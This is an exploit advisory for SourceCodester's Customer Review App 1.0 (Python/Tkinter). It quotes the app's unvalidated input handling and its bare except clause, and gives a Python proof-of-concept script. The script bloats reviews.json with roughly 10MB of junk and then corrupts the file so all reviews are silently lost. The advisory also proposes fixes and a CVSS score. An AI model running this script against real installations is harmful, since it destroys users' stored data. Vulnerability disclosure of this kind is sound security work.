SourceCodester Customer Review App 1.0 - Improper Input Validation (PoC)

# Exploit Title: SourceCodester Customer Review App Using Tkinter in Python 1.0 - Improper Input Validation
# Date: 2026-05-12
# Exploit Author: ameenkbrd
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/python/18751/customer-review-app-using-tkinter-python-source-code.html
# Version: 1.0
# Tested on: Windows 10/11
# CWE: CWE-20 - Improper Input Validation

==========================================================
VULNERABILITY DESCRIPTION
==========================================================

The Customer Review App Using Tkinter in Python 1.0 by SourceCodester
(razormist) fails to validate user-supplied input in the name and comment
fields before writing to the local JSON storage file (reviews.json).

Affected File   : review_app.py
Affected Functions: add_review(), save_review(), get_all_reviews()

==========================================================
VULNERABLE CODE
==========================================================

[1] No input length validation in add_review():

    def add_review(self):
        name = self.name_entry.get().strip()
        comment = self.comment_text.get("0.0", "end").strip()
        if name and comment and comment != self.placeholder:
            new_review = {"name": name, "rating": self.rating_var.get(), "comment": comment}
            self.save_review(new_review)   # <-- No length/character check

[2] Unsanitized write in save_review():

    def save_review(self, review):
        reviews = self.get_all_reviews()
        reviews.insert(0, review)
        with open(self.db_file, "w") as f:
            json.dump(reviews, f, indent=4)  # <-- Writes raw user input directly

[3] Bare except clause silently suppresses all errors in get_all_reviews():

    try:
        with open(self.db_file, "r") as f:
            return json.load(f)
    except: return []   # <-- Swallows ALL exceptions, silent data loss

==========================================================
PROOF OF CONCEPT
==========================================================

Run the following script while the app is installed:

--------------------------------------------------------------
import json
import os

# Target file written by the app
db_file = "reviews.json"

# PoC 1: Denial of Service via oversized input
# Simulates submitting a 10MB comment field
malicious_review = {
    "name": "A" * 1000000,       # 1MB name
    "rating": 5,
    "comment": "B" * 9000000     # 9MB comment
}

reviews = []
if os.path.exists(db_file):
    with open(db_file, "r") as f:
        reviews = json.load(f)

reviews.insert(0, malicious_review)

with open(db_file, "w") as f:
    json.dump(reviews, f, indent=4)

print("[+] PoC 1 complete: reviews.json bloated to ~10MB")
print("[+] App will now lag or freeze on load due to unbounded data")

# PoC 2: Silent data loss via JSON corruption
# The bare except in get_all_reviews() will silently return []
with open(db_file, "w") as f:
    f.write("{ INVALID JSON !!! }")

print("[+] PoC 2 complete: reviews.json corrupted")
print("[+] App silently returns empty list — all reviews lost, no warning shown")
--------------------------------------------------------------

==========================================================
IMPACT
==========================================================

- Local attacker can bloat disk storage causing DoS
- All stored review data can be silently lost with no user warning
- No input length restriction, no character filtering, no integrity check

==========================================================
SUGGESTED FIX
==========================================================

1. Add input length validation:

    if len(name) > 100 or len(comment) > 1000:
        return  # Reject oversized input

2. Replace bare except with specific exception handling:

    except (json.JSONDecodeError, IOError) as e:
        print(f"Error reading reviews: {e}")
        return []

==========================================================
CVSS VECTOR
==========================================================

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Base Score: 4.4 (Medium)

==========================================================
REFERENCES
==========================================================

https://www.sourcecodester.com/python/18751/customer-review-app-using-tkinter-python-source-code.html
https://cwe.mitre.org/data/definitions/20.html